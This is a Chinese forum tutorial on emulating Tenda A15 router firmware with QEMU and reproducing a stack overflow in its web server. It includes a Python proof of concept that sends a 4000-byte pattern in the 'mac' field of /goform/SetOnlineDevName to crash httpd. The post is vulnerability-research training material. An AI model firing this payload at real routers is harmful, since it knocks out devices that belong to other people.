-
-
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
-
发表于: 3天前 533
-
Tenda A15 固件模拟与漏洞复现
环境检测
echo "--- 1. 固件解包工具检测 ---"
which sasquatch
echo -e "\n--- 2. QEMU 模拟环境检测 ---"
qemu-mipsel-static --version
qemu-system-mipsel --version
echo -e "\n--- 3. 调试工具检测 ---"
gdb-multiarch --version
echo -e "\n--- 4. 网络与依赖服务检测 ---"
brctl show
systemctl is-active rpcbind

固件解包
提取固件
binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin
终端会滚动输出很多信息,并且在当前目录下会生成一个以 _固件名.extracted 结尾的新文件夹,里面包含一个 squashfs-root 目录。这就是路由器里的完整 Linux 文件系统了!
查看程序信息
file bin/httpd

将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:
cp $(which qemu-mipsel-static) .
使用 chroot 将当前目录作为根目录,启动 httpd 服务
sudo chroot . ./qemu-mipsel-static ./bin/httpd

没反应,ip地址错误,没有布置监听
文件系统修补
在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only)。
但是,httpd 服务在运行时,必须生成一些动态数据,比如:
- 记录当前进程号的 PID 文件
- 用户的 Session 缓存、临时上传的配置文件。
- 运行时的网络状态(
/var/run)。
真实路由器的做法:在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var、/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。
我们的模拟环境:提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。
在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin、/etc 等绝对路径与实际不符合
更改方法
照抄
rcS的mkdir动作执行
rcS里的文件拷贝:把etc_ro和webroot_ro里的资源部署到位。加入
strace发现的补丁:加上/proc、/sys、/dev的mount动作。
下图是etc_ro中有init.d的rcS的内容

#!/bin/sh
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./var/etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
挂载(Mount):给程序装上“传感器,proc、sys、dev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。
sudo mount -t proc /proc ./proc
sudo mount -t sysfs /sys ./sys
sudo mount --bind /dev ./dev
软链接
sudo ln -snf ./var/webroot ./webroot
网卡接口配置
为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑
静态分析看到应该是br0和80端口

sudo brctl addbr br0
sudo ip addr add 192.168.0.1/24 dev br0
sudo ip link set br0 up
然后再次执行
sudo chroot . ./qemu-mipsel-static ./bin/httpd

漏洞静态分析
initWebs是初始话web界面,并根据提交表单调用相应功能

API 路由表
websFormDefine("前端名字", 后端C函数名)

大佬的说要多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险


分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞
没有对字符串长度校验,使用sprintf会造成栈溢出漏洞导致程序崩溃
在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。
而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanf 或 read 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构
import requests
from pwn import cyclic
ip = '192.168.0.1' # 填网桥 IP
url = f'http://{ip}/goform/SetOnlineDevName'
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针!
payload = {
"mac": cyclic(4000),
"devName": "devname1"
}
print("[*] 正在发送 4000 字节的终极探针...")
try:
requests.post(url=url , data=payload, timeout=2)
except Exception:
print("[+] 目标已彻底断开,绝对当场暴毙!")

但是运行结果非预期,程序并没有崩溃,还打印了信息device name setted failed!和set device name error!
在ida中追踪发现是调用tpi_set_mac_info失败

可以用IDA进行patch,直接把跳转指令nop掉就达到我们的目的了


之后再运行就可以了

系统模拟对比
系统级模拟(System-mode Emulation)相当于在 Kali 里用 VMware 跑了一个完整的虚拟机。
| 对比维度 | 用户态模拟 (qemu-user-static) | 全系统模拟 (qemu-system) |
|---|---|---|
| 模拟层级 | 仅模拟 CPU 指令集和系统调用 | 模拟整个硬件平台(CPU、总线、外设) |
| 运行对象 | 单个二进制 ELF 文件(如 httpd) |
完整的操作系统(Kernel + 文件系统) |
| 真实度 (Fidelity) | 较低。极易遇到 NVRAM 缺失、IPC 通信失败的问题 | 极高。几乎等同于一台真实的物理路由器 |
| 资源消耗与速度 | 极低,启动秒开,非常适合快速跑 Fuzzing | 较高,需要完整的开机自检,启动耗时 |
| 网络环境 | 默认共享 Kali 的本地网络(127.0.0.1 极其方便) | 需要配置复杂的虚拟网卡(TAP/TUN/br0)来进行桥接 |
| 应用场景 | 快速验证溢出漏洞、逆向分析单一函数的算法 | 测算真实偏移量、编写完整 RCE Exploit、研究内核提权 |
| 维度 | 用户态模拟 (User-mode) | 系统级模拟 (System-mode) |
|---|---|---|
| 定位 | 微观: 死磕某个具体的二进制程序(如 httpd) |
宏观: 运行整个固件系统,看整体效果 |
| 优势 | 快、纯净、调试极方便。 配合 pwndbg 就像在本地调试一样顺滑。 |
真实。 网络、内核、文件系统环境完整,不需要手动补齐依赖。 |
| 痛点 | 硬件缺失。 经常会因为找不到 NVRAM 或特定的硬件驱动而崩溃。 | 重、慢、坑多。 配置网络桥接和内核非常折磨人。 |
| 适用场景 | 编写 Exploit (Pwn): 构造 ROP 链、计算偏移、调试内存。 | 漏洞搜索: 用 Burp Suite 抓包、分析 Web 逻辑、验证最终利用。 |
我们在用户态成功运行的基础上继续执行,在ubuntu中造出一块虚拟网卡和两块虚拟测试板,让它们能和 QEMU 里的 MIPS 虚拟机互相“打通”。
宿主机配置虚拟网卡
系统态 QEMU 启动后是一个完全独立的黑盒,我们需要在ubuntu上拉一根“虚拟网线(tap0)”连到虚拟机上。
sudo ip tuntap add dev tap0 mode tap# 创建 tap0 虚拟网卡
sudo ip link set tap0 up
sudo ip addr add 10.10.10.1/24 dev tap0# 给ubuntu配置一个 IP (作为虚拟机的网关)
现在复现的是 Tenda A15,它的芯片是 MIPS 小端序 (mipsel)。所以需要寻找支持 mipsel 架构的内核和镜像
wget 53dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8Y4k6E0L8r3W2F1N6i4S2Q4x3X3b7`.3.2.0-4-4kc-malta# 下载内核
# 下载磁盘镜像
wget c81K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8X3c8W2j5X3W2S2L8W2)9#2k6Y4N6Z5k6h3g2*7P5g2)9#2k6X3#2A6M7s2y4W2L8q4)9#2k6Y4y4@1j5h3&6V1j5i4u0V1i4K6u0W2M7h3y4G2N6K6t1`.
按下虚拟 MIPS 电脑的电源键
sudo qemu-system-mipsel \
-M malta \
-nographic \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-net nic,macaddr=52:54:00:12:34:56 \
-net tap,ifname=tap0,script=no,downscript=no \
-append "root=/dev/sda1 console=ttyS0"
| 参数 | 相当于组装电脑时的... |
|---|---|
mipsel |
选一个 MIPS 的 CPU |
-M malta |
选一块 Malta 牌主板 |
-kernel |
给 CPU 加载指令集(灵魂) |
-hda |
插上一块装好系统的硬盘 |
-net tap |
插上一根连接 Kali 的网线 |
console=ttyS0 |
把显卡线插到串口监视器上 |
滚动停止后,会出现:
Debian GNU/Linux 7 debian-mipsel ttyS0` `debian-mipsel login:
这时请输入:
- 用户名:
root - 密码:
root
配置虚拟机内部网络,把网络打通并伪造网桥:
# 1. 给虚拟机的 eth0 配置 IP,连接你的 Kali (10.10.10.1)
ip addr add 10.10.10.2/24 dev eth0
ip link set eth0 up
# 2. 伪造 Tenda 固件找的 br0
ip link add br0 type dummy
ip addr add 10.10.10.3/24 dev br0
ip link set br0 up
因为虚拟机现在是空的,我们需要从的宿主机把 squashfs-root 传过去。
在宿主机
# 进入上一级目录,把 squashfs-root 打包
cd ~/De/pwn_work/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/
# 排除掉那个巨大的镜像文件,只打包固件
tar -zcvf rootfs.tar.gz --exclude='*.qcow2' squashfs-root/
python3 -m http.server 8000#把当前目录变成一个微型网站。
#效果: 运行后,任何人只要访问的 IP (10.10.10.1) 和 8000 端口,就能看到并下载这个目录下的文件。
在虚拟机终端:
wget http://10.10.10.1:8000/rootfs.tar.gz
tar -zxvf rootfs.tar.gz
cd squashfs-root/
虚拟机:挂载并启动
在虚拟机终端继续执行:
cd squashfs-root
# 挂载传感器
mount -t proc /proc ./proc
mount -t sysfs /sys ./sys
mount --bind /dev ./dev
# 模拟路由器的“开机启动”
mkdir -p ./var/run ./var/etc ./var/webroot ./etc
cp -rf ./etc_ro/* ./etc/
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
# 补上那个关键软链接
ln -snf ./var/webroot ./webroot
# 设置根目录启动 httpd
chroot . ./bin/httpd
脚本要把ip地址改一下
import requests
from pwn import cyclic
ip = '10.10.10.3' # 填网桥 IP
url = f'http://{ip}/goform/SetOnlineDevName'
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针!
payload = {
"mac": cyclic(4000),
"devName": "devname1"
}
print("[*] 正在发送 4000 字节的终极探针...")
try:
requests.post(url=url , data=payload, timeout=2)
except Exception:
print("[+] 目标已彻底断开,绝对当场暴毙!")

最后再放一个模板
#!/bin/bash
# ==============================================
# QEMU MIPSEL Debian Squeeze 虚拟机安装脚本(带校验功能)
# 适用于嵌入式开发/逆向工程环境搭建
# ==============================================
# 配置参数
WORK_DIR="debian-mipsel-qemu"
IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2"
KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta"
START_SCRIPT="start.sh"
# 1. 创建工作目录(如果不存在)
if [ ! -d "$WORK_DIR" ]; then
echo "创建目录 $WORK_DIR..."
mkdir -p "$WORK_DIR"
fi
cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR"; exit 1; }
# 2. 下载镜像文件(如果不存在)
download_file() {
local url=$1
local file=$2
if [ ! -f "$file" ]; then
echo "正在下载 $file..."
wget "$url" -O "$file" || { echo "下载失败"; exit 1; }
else
echo "$file 已存在,跳过下载"
fi
}
download_file "813K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8W2)9J5y4p5W2y4b7f1N6q4i4K6g2X3c8V1W2x3c8b7`.`." "$IMAGE_FILE"
download_file "b39K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8W2)9J5y4p5E0q4f1V1&6q4e0q4)9#2k6V1k6u0e0p5f1`." "$KERNEL_FILE"
# 3. 生成或覆盖启动脚本
echo "生成启动脚本..."
cat > "$START_SCRIPT" << 'EOF'
#!/bin/bash
sudo qemu-system-mipsel \
-nographic \
-M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-net nic,macaddr=52:54:00:12:34:56 \
-net tap,ifname=tap0,script=no,downscript=no \
-append "root=/dev/sda1 console=tty0"
EOF
chmod +x "$START_SCRIPT"
# 4. 检查是否所有文件都已准备就绪
required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT")
missing_files=()
for file in "${required_files[@]}"; do
if [ ! -f "$file" ]; then
missing_files+=("$file")
fi
done
if [ ${#missing_files[@]} -ne 0 ]; then
echo "错误:以下文件缺失:"
printf ' - %s\n' "${missing_files[@]}"
exit 1
fi
# 5. 启动虚拟机
echo "正在启动QEMU虚拟机..."
./"$START_SCRIPT"